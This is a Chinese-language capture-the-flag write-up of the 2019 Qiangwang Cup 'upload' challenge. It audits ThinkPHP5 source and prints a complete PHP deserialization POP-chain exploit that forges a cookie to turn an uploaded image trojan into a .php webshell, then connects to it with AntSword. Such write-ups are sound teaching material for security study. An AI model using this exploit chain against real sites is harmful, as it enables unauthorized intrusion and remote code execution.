2019强网杯upload

发布于 2021-08-06  60 次阅读


进入题目登陆注册,先注册一个账户试试:test/husins@qq.com/123456

成功登陆,上传一个正常图片试试。

image-20210522214404155

图片正常上传,能够获得图片的路径,而且图片被重命名。

尝试注册其他用户,发现过滤的很严苛,只能上传图片,很多绕过方法都不可以。

访问upload目录

image-20210522214754470
image-20210522214730843

不愧是强网杯,真的厉害,文件上传都能这么难,这里就没有别的思路了。尝试找找其他的信息吧!

进行目录扫描

image-20210528192548134

找到备份文件一份,看看备份文件里面都有什么吧。

image-20210528192847372

这个站是基于thinkphp5开发的,进行代码审计,给了一大堆源码,从文件上传部分开始审计,看看它后续对我们的文件做了怎样的处理。

文件路径:application\web\controller\Profile.php(对框架不熟悉,这个文件找了好久,我是真的菜,哭了)

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

梳理一下代码逻辑

  • 继承整个 Controller
  • 实例化Index这个类,进行用户登陆校验
  • 将上传图片的文件名进行mad5加密之后修改文件后缀为.png
  • 将修改之后的图片保存在upload目录 下
  • 对cookie的值进行序列化并base64编码
  • 使用ext_check()校验文件后缀名是否为.png
  • 还有两个不常见的魔术方法
    • 当对象调用不可访问属性时,就会自动触发get魔法方法
    • 在对象调用不可访问函数时,就会自动触发call魔法方法。

看到这明显是反序列化+文件上传的组合题,核心部分是绕过对后缀名的检查。

后缀名的检测明显

image-20210528204325971

让这里返回1就可以了,也就是 我们第一次直接上传一个.png类型的文件即可绕过。

  • 触发call魔法方法
  • Register.php文件中存在析构函数,且存在两个可控变量,我们令checker这个属性为Profile类,然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法
  • 触发get魔法方法
    • 当触发__call之后,name是不可访问函数的名字,arguments是参数,为空,而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法

这里还用提到需要调用的函数:updata_img

image-20210528210306044

他在upload_img被调用

image-20210528210530998

第三个if 我们让ext等于1即可进入,filename我们可控,由此可以通过这个来将我们的webshell复制到filename里去,要触发这个东西我们需要调用,upload_img这个方法,而调用upload_img刚好可以通过上面那两个魔术方法调用

最终思路:

  • 让A类访问一个不可访问的函数,触发__call
  • 在通过call里访问不可访问的属性触发__get
  • =通过__get调用upload_Img方法

构造EXP:

<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed =0;//目的是过destruct里的if;
}
class Profile{
public $checker =0 ;//目的是绕过index类的检查,防止退出程序
public $filename_tmp="./upload/*****.png";
public $upload_menu;
public $filename="upload/123.php";
public $ext=1;//目的是过if来调用复制webshell
public $img;
public $except=array("index"=>"upload_img");//目的是通过__get()魔术方法调用upload_Img函数
}

$a = new Register();
$a->checker = new Profile();//目的是调用POP链
$a->checker->checker=0;//调用pop链防止退出程序

echo base64_encode(serialize($a));

攻击流程:

  • 上传图片马
  • 使用exp生成cookie,并且替换cookie
  • 访问文件,连接蚁剑